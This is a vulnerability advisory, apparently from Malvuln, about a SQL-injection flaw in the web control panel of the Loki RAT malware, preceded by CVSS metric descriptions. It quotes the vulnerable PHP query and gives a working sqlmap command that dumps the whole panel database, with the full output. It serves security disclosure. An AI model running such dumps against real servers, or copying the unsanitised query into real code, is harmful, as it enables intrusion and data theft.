The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Loki RAT (Relapse) / SQL Injection
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/aabb54951546132e70a8e9f02bf8b5ba_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Loki RAT (Relapse)
Vulnerability: SQL Injection
Description: The LokiRAT WebUI panel for LokiRAT_Relapse.exe runs on PHP and MySQL and is used to control infected hosts through a central server.
The backend server side code "admin.php" does not use any secure coding practices nor does it sanitize or filter user input when constructing MySQL statements.
Loki admin.php takes four parameter's pass, command, id and type. There's an auth check using $_GET['pass'] against the clear-text password "test" in settings.php.
The $_GET['id'] parameter is used directly in SELECT * FROM vircom WHERE id='$id' statement used in mysql_query() func, making it vulnerable to post-auth SQL Injection.
Authenticated users or third-party attackers who can guess the password can easily dump all databases, tables and contents including the MySQL database schema.
admin.php snippet:
if ($_GET['pass'] == $password) {
$command = $_REQUEST['command'];
$id = $_GET['id'];
$type = $_GET['type'];
....
case "response":
$query = mysql_query("SELECT * FROM vircom WHERE id='$id'");
$row = mysql_fetch_array($query);
echo $row['retCommandNum'] . "{-}" . $row['retCommand'] . "{-}" . $row['lastUpdate'] . "{-}" . $row['updateInterval'];
break;
Family: Loki
Type: WebUI
MD5: aabb54951546132e70a8e9f02bf8b5ba
MD5: 16c33e28c8c9b3ea71249ad94be4bf94 (admin.php)
Vuln ID: MVID-2022-0510
Disclosure: 03/05/2022
Exploit/PoC:
sqlmap.py -u "http://LOKI-RAT-IP/PHP%20Files/admin.php?pass=test&command=webcam&id=1&type=response" --dbms=MySQL --risk=3 --level=5 --dump
[21:06:25] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 11385 HTTP(s) requests:
...
back-end DBMS: MySQL >= 5.0.12
[21:06:57] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:06:57] [INFO] fetching current database
[21:06:57] [INFO] fetching tables for database: 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 2 entries
[21:06:57] [INFO] retrieved: klcom
[21:06:57] [INFO] retrieved: vircom
[21:06:57] [INFO] fetching columns for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 13 entries
[21:06:57] [INFO] retrieved: "id","varchar(12)"
[21:06:57] [INFO] retrieved: "ipAddress","varchar(15)"
[21:06:57] [INFO] retrieved: "location","varchar(255)"
[21:06:57] [INFO] retrieved: "compName","varchar(30)"
[21:06:57] [INFO] retrieved: "operatingSystem","varchar(100)"
[21:06:57] [INFO] retrieved: "command","text"
[21:06:57] [INFO] retrieved: "retCommand","text"
[21:06:57] [INFO] retrieved: "retCommandNum","int(11)"
[21:06:57] [INFO] retrieved: "lastUpdate","datetime"
[21:06:57] [INFO] retrieved: "updateInterval","int(9)"
[21:06:57] [INFO] retrieved: "ramMemory","varchar(50)"
[21:06:57] [INFO] retrieved: "processor","varchar(255)"
[21:06:57] [INFO] retrieved: "webcam","int(1)"
[21:06:57] [INFO] fetching entries for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: vircom
[1 entry]
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| id | webcam | command | compName | location | processor | ramMemory | ipAddress | lastUpdate | retCommand | retCommandNum | updateInterval | operatingSystem |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| 1 | 1 | melt | Hate | New York USA | Intel64 | 15gb | 10.2.1.3 | 2022-03-05 02:43:34 | doit | 666 | 0 | Windows |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
[21:06:57] [INFO] table 'lokirat2.vircom' dumped to CSV file 'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\vircom.csv'
[21:06:57] [INFO] fetching columns for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 3 entries
[21:06:57] [INFO] retrieved: "id","varchar(15)"
[21:06:57] [INFO] retrieved: "kldata","text"
[21:06:57] [INFO] retrieved: "dateTime","datetime"
[21:06:57] [INFO] fetching entries for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: klcom
[1 entry]
+----+----------------+---------------------+
| id | kldata | dateTime |
+----+----------------+---------------------+
| 1 | KILL PUTIN | 2022-03-05 02:42:59 |
+----+----------------+---------------------+
[21:06:57] [INFO] table 'lokirat2.klcom' dumped to CSV file 'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\klcom.csv'
[21:06:57] [INFO] fetched data logged to text files under 'C:\Users\Victim\.sqlmap\output\127.0.0.1'
[*] shutting down at 21:06:57
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum